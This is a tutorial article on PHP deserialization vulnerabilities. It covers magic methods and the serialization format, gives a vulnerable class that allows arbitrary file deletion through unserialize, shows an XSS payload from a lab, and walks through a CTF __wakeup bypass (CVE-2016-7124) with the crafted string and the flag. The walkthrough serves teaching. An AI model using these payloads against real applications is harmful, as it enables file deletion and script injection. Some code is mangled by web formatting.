Home > Backend Development > PHP Problem > Detailed analysis of PHP deserialization vulnerabilities

Detailed analysis of PHP deserialization vulnerabilities

WBOY
Release: 2023-03-15 17:10:01
forward
3225 people have browsed it

This article brings you relevant knowledge about PHP, which mainly introduces related issues about deserialization vulnerabilities, including PHP object-oriented programming, serialization and deserialization, The principles of deserialization vulnerabilities and other contents, I hope it will be helpful to everyone.

Detailed analysis of PHP deserialization vulnerabilities

##Recommended learning: "

PHP Video Tutorial"

1. PHP Object-Oriented Programming

Object-oriented programming (Object-oriented programming, OOP),

Object is a represented by information and the description of processing the information The whole composition is an abstraction of the real world.

A class is a collection of objects that share the same structure and behavior. The definition of each class begins with the keyword class, followed by the name of the class.

Create a PHP class:

<?php
class TestClass //定义一个类
{
//一个变量
public $variable = &#39;This is a string&#39;;
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>
Copy after login
public, protected, private

PHP

Access control for attributes or methods is by adding # in front ##Keywords Public (public), protected (protected) or private (private) to achieve. public (public): Public class members can be accessed

from

anywhere. protected (protected): Protected class members can

be accessed

by itself and its subclasses and parent classes. private (private): Private class members

can only be accessed

by the class in which they are defined. Note:

With different access control modifiers

, the length and attribute value of the attributes after serialization will be different, as shown below: public: The attributes are serialized When the attribute value is serialized, the attribute value will become

Attribute name

protected: When the attribute is serialized, the attribute value will become

\x00*\x00Attribute name

private: When the attribute is serialized, the attribute value will become

\x00 class name\x00 attribute name

where:

\x00

means The empty character , but still occupies one character position (space), as in the following example

<?phpclass People{
    public $id;
    protected $gender;
    private $age;
    public function __construct(){
        $this->id = 'Hardworking666';
        $this->gender = 'male';
        $this->age = '18';
    }}$a = new People();echo serialize($a);?>
Copy after login
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}
Copy after login
Magic method (magic function)

Place two underscores with

in PHP

Methods starting with __ are called Magic methods(Magic methods)PHP official——Magic methods

Detailed explanation of 16 magic methods in PHP


The class may contain some special functions: magic functions, which will

automatically call

under certain circumstances.

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
Copy after login
serialize() function checks whether a magic method exists in the class. If present, this method will be called first, and then the serialization operation will be performed.

We need to focus on the 5 magic methods, so we will emphasize them again:

__construct

: Constructor, called when an object is created

__destruct

: Destructor, called when an object is destroyed

__toString

: When an object Used when treated as a string

__sleep

: Called __wakeup# when the object is serialized

##: The object wakes up again, that is,

is reconstructed from a binary string into an object (called when an object is deserialized ) from serialization The execution process of these functions to deserialize is:

__construct()

->

__sleep() -> __wakeup() -> __toString() -> __destruct()

<?php
class TestClass
{
    //一个变量
    public $variable = &#39;This is a string&#39;;
    //一个方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //构造函数
    public function  __construct()
    {
        echo '__construct<br />';
    }
    //析构函数
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    //当对象被当作一个字符串
    public function __toString()
    {
        return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>
Copy after login
Output result:
__construct
This is a string
__toString
__destruct
Copy after login

__toString()

There are too many factors that can trigger this magic method, so it is necessary to list them:

1.  echo($obj)/print($obj)打印时会触发 
2.  反序列化对象与字符串连接时 
3.  反序列化对象参与格式化字符串时 
4.  反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 
5.  反序列化对象参与格式化SQL语句,绑定参数时 
6.  反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 
7.  在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 
8.  反序列化的对象作为class_exists()的参数的时候
Copy after login
The role of magic methods in deserialization attacksThe entrance to deserialization is at

unserialize()

, as long as the

parameters are controllable and this class exists in the current scope, any serialized object can be passed in, instead of being limited to unserialize()Object of the function class. If it can only be limited to the current class, the attack surface is too small, and deserializing objects of other classes can only control attributes. If the methods of other class objects are not called in the deserialized code, , still cannot exploit the vulnerability to attack.

However, the attack surface can be expanded by using the magic method. The magic method is automatically completed while the class is being serialized or deserialized, so that you can

use the object properties in deserialization to Manipulate some exploitable functions

to achieve the purpose of attack.

Understand the role of magic methods in deserialization vulnerabilities through the following example. The code is as follows:

2. PHP serialization and deserialization

PHP serialization

Sometimes it is necessary to transmit an object over the network. In order to facilitate the transmission, you can

convert the entire object into a binary string

, and then restore it to the original object when it reaches the other end. This process is called

Serialization (also called Serialization).

json数据使用 , 分隔开,数据内使用 : 分隔

json数据其实就是个数组,这样做的目的也是为了方便在前后端传输数据,后端接受到json数据,可以通过json_decode()得到原数据,
这种将原本的数据通过某种手段进行"压缩",并且按照一定的格式存储的过程就可以称之为序列化。

有两种情况必须把对象序列化:
把一个对象在网络中传输
把对象写入文件或数据库

相关概念可以参考我以前的文章:
Python序列化与反序列化详解(包括json和json模块详解)

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

通过例子来看PHP序列化后的格式:

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is '.$this->age.' years old.<br />';
    } // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
Copy after login

输出结果:

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
Copy after login

下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是对象user序列化后的形式。

“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数

“{}”里面是参数的key和value,

“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。

序列化格式:

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串
Copy after login

PHP序列化需注意以下几点:

1、序列化只序列属性,不序列方法
2、因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
3、我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击

PHP反序列化

对上例进行反序列化:

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>
Copy after login
User Hardworking666 is 18 years old.
Copy after login

_sleep 方法在一个对象被序列化时调用,_wakeup方法在一个对象被反序列化时调用

<?phpclass test{
    public $variable = &#39;变量反序列化后都要销毁&#39;; //公共变量
    public $variable2 = &#39;OTHER&#39;;
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }}//创建一个对象,回调用__construct$object = new test();
    //序列化一个对象,会调用__sleep$serialized = serialize($object);
    //输出序列化后的字符串print 'Serialized:'.$serialized.'<br />';
    //重建对象,会调用__wakeup$object2 = unserialize($serialized);
    //调用printvariable,会输出数据(变量反序列化后都要销毁)$object2->printvariable();
    //脚本结束,会调用__destruct?>
Copy after login
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}__wakeup
变量反序列化后都要销毁
__destruct
__destruct
Copy after login

从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

PHP为何要序列化和反序列化

PHP的序列化与反序列化其实是为了解决一个问题:PHP对象传递问题

PHP对象是存放在内存的堆空间段上的,PHP文件在执行结束的时候会将对象销毁

如果刚好要用到销毁的对象,难道还要再写一遍代码?所以为了解决这个问题就有了PHP的序列化和反序列化

从上文可以发现,我们可以把一个实例化的对象长久的存储在计算机磁盘上,需要调用的时候只需反序列化出来即可使用。

三、PHP反序列化漏洞原理

序列化和反序列化本身没有问题,

但是反序列化内容用户可控

后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

调用__destruct删除

存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除:

//logdata.php<?phpclass logfile{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }}?>
Copy after login

调用这个类:

<?phpinclude &#39;logdata.php&#39;class User{
    //类数据
    public $age = 0;
    public $name = &#39;&#39;;
    //输出数据
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.' is'.$this->age.' years old.<br />';
    }}//重建数据$usr = unserialize($_GET['usr_serialized']);?>
Copy after login

代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输入,删除任意文件。

如构造输入删除目录下的index.php文件:

<?php
include &#39;logdata.php&#39;;
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>
Copy after login

上面展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup__sleep__toString等其他magic函数。

比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

XSS(跨站脚本攻击)攻击

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

例如,皮卡丘靶场PHP反序列化漏洞

$html=";
if(isset($_POST['o'])){    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){        $html.="<p>错误输出</p>";
    }else{        $html.="<p>{$unser->test)</p>";
    }
Copy after login

为了执行<script>alert('xss')</script>,Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
Copy after login

其他知识点:

unserialize漏洞依赖条件
1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值

防范方法
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染

四、实例

PHP反序列化绕过__wakeup() CTF例题

攻防世界xctf web unserialize3

打开网址后的代码:

class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
Copy after login

已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数,

而本题的关键就是如何 绕过 __wakeup()函数,就是 在反序列化的时候不调用它

序列化的字符串中的 属性值 个数 大于 属性个数 就会导致反序列化异常,从而绕过 __wakeup()

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的
这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化。

我们利用php中的new运算符,实例化类xctf。

new 是申请空间的操作符,一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

构造序列化的代码在编辑器内执行:

<?php
class xctf{
public $flag = &#39;111&#39;; //public定义flag变量公开可见
public function __wakeup(){
exit(&#39;bad requests&#39;);
}
}//题目少了一个},这里补上
$a=new xctf();
echo(serialize($a));
?>
Copy after login

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
Copy after login

序列化返回的字符串格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
Copy after login

O:表示序列化的是对象
<length>:表示序列化的类名称长度
<class name>:表示序列化的类的名称
<n>:表示被序列化的对象的属性个数
<field name 1>:属性名
<field value 1>:属性值

所以要修改属性值<n>,既把1改为2以上。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Copy after login

在url中输入:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Copy after login

得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}

漏洞:
__wakeup绕过(CVE-2016-7124)
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

官方给出的影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

推荐学习:《PHP教程

The above is the detailed content of Detailed analysis of PHP deserialization vulnerabilities. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
php
source:csdn.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template